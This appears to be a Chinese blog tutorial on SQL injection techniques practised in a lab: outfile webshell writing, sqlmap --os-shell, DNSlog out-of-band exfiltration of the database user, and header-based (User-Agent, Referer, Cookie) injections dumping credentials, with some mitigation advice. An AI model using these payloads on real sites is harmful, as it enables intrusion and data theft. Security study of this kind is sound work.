SQL注入其他方法

此次实验因为环境问题很多无法复现,在此只讨论过程和方法

一、SQL注入之outfile注入

mysql的outfile的作用是导出文件,使用此方法的必要条件:(此方法成功率极低)

1、知道目标网站的物理路径;

2、%secure_file_priv这个参数必输是空,注意不是NULL,默认的NULL是正常的;

当 secure_file_priv 为空,就可以读取磁盘的目录

当 secure_file_priv 为 G:\,就可以读取G盘的文件

当 secure_file_priv 为 null,load_file 就不能加载文件

3、要设置Value参数为空,必须是网站的root权限,但是有了root权限就没必要进行传马了。

先查看环境中的参数是否正确:

show variables like "%secure_file_priv";

可以用此漏洞上传一句话木马,web.php就是木马上传的文件

?id=1')) union select 1,2,'<?php echo "Hello, World!"; ?>' into outfile 'D:\phpstudy_pro\WWW\sqli\web.php'--+

二、利用sqlmap的--os-cmd或--os-shell

条件:

1、知道目标网站的物理路径;

2、在此网站有文件上传的权限。

直接执行命令:

sqlmap -u "http://192.168.0.105/sqli/Less-8/?id=1" --os-shell

三、DNSlog外带注入

使用条件苛刻!

1、需要有目标网站root权限;

3、数据库有读写权限即:secure_file_priv=“” ;

4、得有请求url权限 ;

5、目标网站还必须得是windows服务器。

好处就是如果遇到盲注,会很节省时间。

?id=1' and load_file(concat('\\\\', hex(user()),'.fn7vri.dnslog.cn/abc'))--+

hex():用来将获取的user变成十六进制,要不然只使用user可能会失败。

fn7vri.dnslog.cn:是从DNSlog网站上的网址

四、User-Agent注入

User-Agent是一个HTTP请求头部字段,用于标识发出请求的客户端应用程序或设备。

User-Agent:1'or updatexml(1,concat('~',(select database())),3),2,3)#

对ua进行注入就可以得到数据库里的数据

如何防止这个漏洞?

  1. 手动测试:手动构造特定的恶意User-Agent字符串,并将其插入到HTTP请求的User-Agent头部。然后观察目标服务器的响应是否表现出异常行为,如返回错误信息、崩溃或产生其他异常。这种方法需要具备一定的安全测试经验和知识。

  2. 自动化工具:使用专门的漏洞扫描工具,如OWASP Zap、Burp Suite等,进行自动化测试。这些工具通常包含检测User-Agent注入漏洞的模块,能够自动发送恶意的User-Agent字符串并分析目标服务器的响应。

  3. 安全审计:进行代码审计和安全审计,检查应用程序中对于User-Agent头部的处理方式是否存在漏洞。审查相关的代码逻辑和输入验证过程,寻找任何不安全的实现或缺陷。

五、Referer注入

Referer是一个HTTP请求头部字段,用于指示请求的来源页面的URL。

Referer: ' or extractvalue(1,concat('~',(select database()))),2)#

如何防止这个漏洞?

  1. 输入验证和过滤:对接收到的Referer头部进行严格的输入验证和过滤。可以使用白名单机制来限制只接受来自可信源的Referer值,并拒绝所有其他来源的请求。

  2. URL编码:在处理Referer时,进行URL编码以确保其中的特殊字符不会被解析为恶意代码或其他攻击载荷。

  3. 参数化查询:如果需要将Referer用于数据库查询或其他敏感操作,务必使用参数化查询或预编译语句,而不是将Referer直接拼接到查询语句中。这可以有效防止SQL注入攻击。

  4. 安全框架和库:使用可靠的Web应用程序防火墙(WAF)或安全框架,如ASP.NET的RequestValidation、Java的OWASP ESAPI等,这些框架和库可以自动检测和阻止一些常见的攻击,包括Referer注入。

  5. HTTPS使用:使用HTTPS协议加密通信可以确保Referer头部在传输过程中不被窃听或篡改,提高数据的安全性。

  6. 安全审计和测试:定期进行安全审计和渗透测试,检查应用程序是否存在Referer注入漏洞以及其他安全问题。可以使用专业的安全工具进行自动化扫描,也可以进行手动测试。

六、Cookie注入

Cookie: uname=' union select 1,2,(select group_concat(username,password) from users)#

如何防止这个漏洞?

  1. 输入验证和过滤:在设置Cookie时,对用户提供的值进行严格的输入验证和过滤,确保其中不包含恶意内容。

  2. 安全的Cookie设置:使用安全标志(Secure)和仅限HTTP标志(HttpOnly)来设置Cookie。Secure标志要求Cookie只能通过HTTPS协议传输,避免在不安全的网络中被窃听。HttpOnly标志可以防止JavaScript等客户端脚本访问Cookie,减少受到XSS攻击的风险。

  3. 加密和签名:对于包含敏感信息的Cookie,可以考虑使用加密和签名来保护其完整性和机密性,防止被篡改或窃取。

  4. 安全会话管理:实施安全的会话管理机制,包括随机生成会话令牌、合理设置会话超时时间、及时注销会话等。

  5. 安全审计和测试:定期进行安全审计和渗透测试,检查应用程序是否存在Cookie注入漏洞以及其他安全问题。可以使用专业的安全工具进行自动化扫描,也可以进行手动测试。

  • 18
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值